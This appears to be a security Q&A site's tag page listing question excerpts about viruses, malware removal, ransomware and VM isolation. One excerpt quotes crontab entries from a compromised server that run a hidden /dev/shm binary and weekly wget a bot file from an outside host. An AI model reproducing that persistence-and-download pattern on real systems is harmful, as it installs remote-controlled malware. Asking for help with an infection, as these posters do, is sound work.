A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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4answers
57k views

Is Teredo in my router a back door?

I use the school computer, which I bought from school, administered by the IT-department. I opened a port to my computer when I stumbled upon this: It points to my computer IP. (I have a static IP ...
1
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2answers
120 views

Getting rid of trojans on Windows XP - the basic toolkit

I haven't had to clean up PCs in a while but it's this time of the year when you go visit relatives and they ask you about this and that, malware and trojans and other delicious things that pop up in ...
3
votes
1answer
335 views

I accidentally installed an adware filled Firefox [solved]

I installed Firefox using a download site, rather than the correct site. After running and installing Firefox I noticed my Chrome had an addon called swift browser added to it by a third party. After ...
0
votes
1answer
118 views

What is “KDV” in antivirus databases?

I scanned a file (virus) on VirusTotal and 3-5 antivirus labelled it as Generic.KDV.549626 Is there any central "KDV" database where all the entries related to a virus are stored?
2
votes
3answers
715 views

Is it possible for a virus or unknown program to automatically start up a webcam

How can I secure my computer more, knowing these days that there are many websites, especially ones where you don't have to even click before a virus is downloaded straight to your hard-drive. I ...
1
vote
0answers
373 views

Adobe Install Redirect

I have heard of the Flash virus floating around, but after reading more I do not believe I have it. When I go to http://get.adobe.com/flashplayer/ So that I can update, 'Install Now' will redirect ...
4
votes
3answers
470 views

How to keep Mac secure from viruses, malware and keyloggers?

How can I download and install software and make sure that it is not infected with viruses, malware or a keylogger? Also, I heard that Macs "don't get viruses". Is this true? Is it a good practice to ...
0
votes
3answers
817 views

Prevention against Cryptolocker virus by requesting password for all installing apps in Windows 7

Is it possible to protect Windows like Linux? I mean, I have Ubuntu installed on my laptop and when some program wants to install something etc. the pop up shows up and I need to type the password. ...
3
votes
2answers
279 views

A new virus with unknown function

We have detected a new virus that was sent to us by mail. The email contained a zip file which contains an executable with the same name. As a first step, we uploaded the file to virustotal, to be ...
0
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1answer
110 views

Strange Virus Infecting My Server

I am currently working on a Web App on my dedicated server (LAMP) and it seems like it might be infected with some strange malware/virus of some kind. When I access some domains on that server (every ...
-6
votes
1answer
130 views

Is there any virus that delets Personal Foder? [closed]

I noticed that some special folders of my ex-HDD have been deleted. 'Personal' is one of them. Is there any virus do that?
3
votes
3answers
609 views

What stops a hacker from installing it's own CA certificate?

Taking a look at this (now rather old) article about the generated rogue DigiNotar certificates, it states the following: ...Such is the case with that small company in the Netherlands, ...
6
votes
3answers
4k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
3
votes
4answers
750 views

Is it possible to catch a virus on my LAN without clicking on anything?

My unpatched PC running Windows is connected to a network which contains other "infected" computers, can I get infected by viruses without any interaction on my part?
19
votes
3answers
1k views

Are older viruses removed from virus definition files?

Antivirus software receives constant updates in the form of virus definition files, containing the patterns used to identify viruses. It is a feature present on most (if not all) major AV for at least ...
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vote
2answers
2k views

How do worms spread over LAN? [duplicate]

I've been researching LAN recently, and I came across a post talking about viruses spreading over LAN, and I was wondering, how is this possible? Would it not be a huge security issue to allow files ...
5
votes
1answer
458 views

Identifying the source of a Crypto Locker attack

We believe a Crypto Locker virus may have found its way into our network. We're having trouble identifying which computer was responsible for originally bringing the virus in. Does anybody have any ...
1
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3answers
236 views

Protecting Backups from Viruses

Currently we are using ReadyNAS by NETGEAR to hold all our images from all our machines. My question is can viruses expand from the machines and infect the NAS drive and the backups? We are using ...
0
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0answers
37 views

Securing your virtual machine [duplicate]

I am using my virtual machine and run there a few programs that may be malicious. Is there a risk of my host getting infected? Can a virus migrate to my host considering that I dont allow file sharing ...
0
votes
2answers
112 views

VM security, how to access main OS

Is there any way for me to access the main computer if the VM has been infected? Let's say that I am running Debian or ubuntu in a VM and the main computer uses Windows (or other way around just so ...
1
vote
1answer
607 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
2
votes
2answers
278 views

Using a virtual machine as a buffer between USB media and OS

I was directed here from the Unix & Linux site. I've gone through some of the related questions, but they seem to be more concerned about whether a guest OS can access the host OS in someway. ...
0
votes
2answers
188 views

Random File downloaded

Okay so I was setting up stuff on my new mac earlier, downloading flash and office. They both downloaded and installed smoothly, but after I noticed a weird new file in my 'downloads' folder: ...
2
votes
1answer
227 views

Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
1
vote
1answer
224 views

How to check my application passes multiple virus scanners

I have an application I am trying to bring to market and I want to ensure that nothing in it is picked up by a virus scanner (since that would reflect badly on me). Since I only have a single scanner ...
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3answers
403 views

Text changing virus

Can malware change words that I have typed and then saved in the computer'? If so, how likely is this?
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1answer
205 views

Scan Source Code for Potential Viruses

If you are sent a program written by someone so that you have the complete source code, how would you go about scanning the source code for any potential viruses/malware? Note: While bugs and ...
2
votes
1answer
2k views

Can a file .exe.part already have caused damage?

If on a Windows machine, an antivirus program has found a Win32:Rootkit in a file ...\Temp\...\xy.exe.part, could the file possibly already have caused damage or not given that it seems to be an ...
0
votes
1answer
99 views

Java is running even after it is disabled [closed]

To prevent adds and pop-up that seduce users to install or download viruses I have disabled Java. But I have noticed that even with Java disables Firefox is still running it. The pop-ups are coming ...
1
vote
2answers
375 views

Can malware come in any format?

After reading @Iszi's answer to this question he states Viruses attached in e-mails do not only come in .EXE files. They can be any form of document - PDF, PPT, DOC, XLS, SWF, etc. Are there ...
1
vote
1answer
1k views

Uploading images safe of XSS, php code and virus

I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not ...
20
votes
6answers
3k views

Malicious Links that Respond to Browsers but not curl or wget

There are some emails with links to people's cracked websites with a malware download Like this kind of email: fake DHL pack station email ... the links often take the form of: http:// ...
2
votes
3answers
1k views

How can winlock virus change Windows Registry without admin permission?

When you try to install program you'll always asked about administrator permission. Same thing when you try to user 'regedit' command. So I'm interested in how does this virus works. How can it edit ...
8
votes
3answers
607 views

Can I use the same keyboard on both my infected and non-infected computers?

I have a computer which is virus infected. Can I use the same keyboard on both it and a "safe/clean" computer without fear? Keyboards these days seem to come with built in software and thus must ...
5
votes
6answers
5k views

Can i get 100% protection from virus by using Deep Freeze?

I have recently installed an application called 'Deep Freeze' that works by "freezing" the state of an operating system and working off delta disks. Rebooting deletes the deltas and reverts back to ...
1
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2answers
380 views

Where can I find some “real time” discussion forums for security issues? [closed]

The place where I work was hit by the new Qakbot variant (3rd generation) a couple of days ago and it has been brutal. Unfortunately a lot of the documentation out there is from the 1st iteration of ...
2
votes
3answers
710 views

Malware not showing up in virus scan

I have some malware on my computer at work that I'm having a hard time getting rid of. I'm only interning there over the summer, so I'm guessing that it was downloaded by the previous user because I ...
2
votes
1answer
986 views

Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
19
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2answers
4k views

How does a crypter for bypassing antivirus detection work?

I am talking about crypters used to encrypt files like viruses and keyloggers for the sole purpose of bypassing antivirus detection. How do they work?
2
votes
2answers
141 views

If a user visited a malicious website a year ago, should we nuke from orbit to be safe?

A Microsoft Security Essentials virus scan just finished on one of our computers and it shows two potential threats in Internet Explorer's temporary internet files: Web page with Black Hole Exploit ...
5
votes
2answers
2k views

Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
13
votes
6answers
3k views

Finding a specific malware sample for malware analysis purposes

I wish to analyze the changes made by a specific virus. For example, Win32.Sality. Where can I get the sample of this, or other similar, malware for testing?
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0answers
5k views

Free collection of virus test samples [closed]

You want to check functionality of your antivirus. virussign.com can do that for money. Is there a free virus base?
0
votes
1answer
338 views

Site Hacked - Where to go from here? [closed]

Our magento based e-commerce site was hacked over the weekend, the hackers managed to gain access to the magento files and embed some scrambled code into the get.php file in the root directory. I ...
10
votes
3answers
5k views

Do I really need an Anti-Virus software if I'm careful about where I browse?

A friend told to me the following: I don't use Anti-Virus software at all, I am just careful about where I go and what I click on. I've also heard this from other people as I've repaired their ...
8
votes
2answers
10k views

Advice on what to do after being hacked?

After running a system scan earlier today, I found that my computer had been infected by a trojan horse. My reason for running the scan was because Windows kept shutting down and then recovering. ...
3
votes
1answer
190 views

What is the security purpose behind the “enable editing” of MS Word?

Whenever I open MS Word documents from my email, they open in "Protected View" with edit options disabled by default. As per my understanding, the hyperlinks used in the main document would be linked ...
-1
votes
1answer
154 views

Malware persistence past a drive wipe? [duplicate]

Are there any known instances of malware persisting past a drive wipe and reinstall, through modified bios, or firmware on one of the machine components?
3
votes
4answers
1k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
4
votes
3answers
529 views

Virus with PGP Encryption Preventing Virus Scan

A user reported having a virus that was causing pop up windows asking for money. When he turned on his laptop and logged into PGP encryption (whole disk) the desktop quickly showed but then a white ...